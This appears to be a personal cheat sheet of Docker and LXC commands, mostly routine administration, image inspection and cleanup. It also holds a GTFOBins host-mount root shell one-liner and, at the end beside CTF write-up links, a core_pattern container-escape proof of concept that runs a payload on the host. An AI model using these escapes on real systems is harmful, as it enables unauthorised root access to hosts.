-
docker swarm - automatic rollback
-
GitHub - opencontainers/runtime-spec: OCI Runtime Specification
-
GitHub - wagoodman/dive: A tool for exploring each layer in a docker image
-
GitHub - reproducible-containers/diffoci: diff for Docker and OCI container images
-
https://book.hacktricks.xyz/pentesting/2375-pentesting-docker
-
https://securityboulevard.com/2019/02/abusing-docker-api-socket/
-
https://gtfobins.github.io/gtfobins/docker/
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Given: yi moby-engine
sudo dockerd
# ||
sudo systemctl start docker.service
docker pull ubuntu
docker run ubuntu bash -c "apt-get -y install nginx"
docker run -it ubuntu bash
# Redirect port
docker run -p 3000:3000 foo
docker container ls
docker ps -l
docker commit 5976e4ae287c ubuntu-nginx
docker images
docker run ubuntu-nginx whereis nginx
# From Dockerfile
docker build -t container_name .
docker run container_name
# Detached
docker run -d IMAGE
docker logs -f CONTAINER_ID_OR_NAME
docker exec -it CONTAINER_ID_OR_NAME /bin/bash
docker attach CONTAINER_ID_OR_NAME
# Detached, keep running
docker run -dit IMAGE sh
# Kill
docker ps | awk '/[0-9a-f]+/{print $1}' | xargs -i docker stop {}- https://docs.docker.com/articles/dockerfile_best-practices/
- http://crosbymichael.com/dockerfile-best-practices.html
- https://github.com/wsargent/docker-cheat-sheet
https://github.com/LiveOverflow/pwn_docker_example/blob/master/challenge/Dockerfile
- GitHub - P3GLEG/Whaler: Program to reverse Docker images into Dockerfiles
- Search and extract files from
ADD/COPYinstructions
- Search and extract files from
- GitHub - wagoodman/dive: A tool for exploring each layer in a docker image
- GitHub - jesseduffield/lazydocker: The lazier way to manage everything docker
- GitHub - google/docker-explorer: A tool to help forensicate offline docker acquisitions
- same view as container of filesystem
docker history --no-trunc johndoe/foobar --format '{{ .CreatedBy }}'
# ||
docker pull johndoe/foobar:1.2.3
docker save johndoe/foobar:1.2.3 > foobar.tar
tar xvf foobar.tar
jq . manifest.json # Take config hash as $config
jq .history "$config.json" # Take entry where empty_layer=true as $layer
cd "$layer/"
tar tf layer.tfhttps://theartofmachinery.com/2021/03/18/reverse_engineering_a_docker_image.html
GitHub - docker/machine: Machine management for a container-centric world
docker-machine create -d virtualbox default
eval "$(docker-machine env default)"mkdir -p /data1/Downloads
docker run -it -v /data1/Downloads:/Downloads ubuntu bash
# ||
docker volume create \
--driver local \
--name hello \
--opt type=none \
--opt device=/data1/Downloads \
--opt o=uid=root,gid=root \
--opt o=bind
docker run -it -v hello:/Downloads ubuntu bash
# || Given: selinux enabled
docker run -it -v hello:/Downloads:z ubuntu bashDOCKER_OPTS="--userns-remap=1000:1000"
docker stats
curl -v --unix-socket /var/run/docker.sock \
http://localhost/containers/$CONTAINER_ID/stats | jq
cat /sys/fs/cgroup/blkio/docker/$CONTAINER_ID/blkio.throttle.io_service_bytes
cat /proc/$CONTAINER_PID/net/dev# Given: $PWD/Dockerfile
docker build . --tag whipper/whipper
docker images | grep 'whipper/whipper'
# Cleanup:
docker images --filter "dangling=true" -q --no-trunc | xargs -I{} docker rmi {}
# ||
docker image prune -afstandard_init_linux.go:190: exec user process caused "exec format error"
Reported architecture inside container is from host => ENTRYPOINT ["linux32"] - https://stackoverflow.com/questions/26490935/how-to-fake-cpu-architecture-in-docker-container
- https://stackoverflow.com/questions/32070113/how-do-i-change-the-default-docker-container-location
- https://forums.docker.com/t/how-do-i-change-the-docker-image-installation-directory/1169
docker inspect- https://docs.docker.com/engine/reference/commandline/inspect/
# Edit /var/lib/docker/containers/CONTAINER_ID/hostconfig.json
systemctl restart docker
docker start CONTAINER_ID_OR_NAME- https://stackoverflow.com/questions/18496940/how-to-deal-with-persistent-storage-e-g-databases-in-docker
- https://thenewstack.io/methods-dealing-container-storage/
- https://github.com/lemire/docker_programming_station
- https://seravo.fi/2019/align-user-ids-inside-and-outside-docker-with-subuser-mapping
docker-compose build
docker-compose up
docker network create --driver bridge
docker run --network=foo --name=bar- https://stackoverflow.com/a/48243640
- https://dev.to/abiodunjames/why-docker-creating-a-multi-container-application-with-docker--1gpb
- https://docs.docker.com/compose/overview/
docker system purge -af@echo off
FOR /f "tokens=*" %%i IN ('docker ps -aq') DO docker rm %%i
FOR /f "tokens=*" %%i IN ('docker images --format "{{.ID}}"') DO docker rmi %%idocker ps -aq | foreach {docker rm -f $_}
docker images -aq | foreach {docker rmi -f $_}bind-mounting the host machine's Docker socket in the container
TODO
# against host
docker run -it --rm --pid=host myhtop
# against another container
docker run --name my_redis -d redis
docker run -it --pid=container:my_redis my_strace_docker_image bash
strace -p 1https://docs.docker.com/engine/reference/run/#pid-settings---pid
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' CONTAINER_ID_OR_NAME
docker ps \
| awk '/[0-9a-f]{12}/{print $1}' \
| xargs -I{} docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' {}lxc image list images: os=Fedora
lxc launch images:fedora/35 foo
lxc exec foo -- sudo /bin/bash
lxc network attach enp3s0 foo eth0
lxc restart foo- https://kitctf.de/writeups/32c3ctf/docker
- https://pwning.systems/posts/escaping-containers-for-fun/
mount | grep overlay # take upperdir=... echo '|/var/lib/docker/overlay2/.../diff/poc' > /proc/sys/kernel/core_pattern # poc on container's / sh -c 'kill -11 $$' # trigger coredump, execs poc on host
- https://nns.ee/blog/2022/08/05/routeros-container-rce.html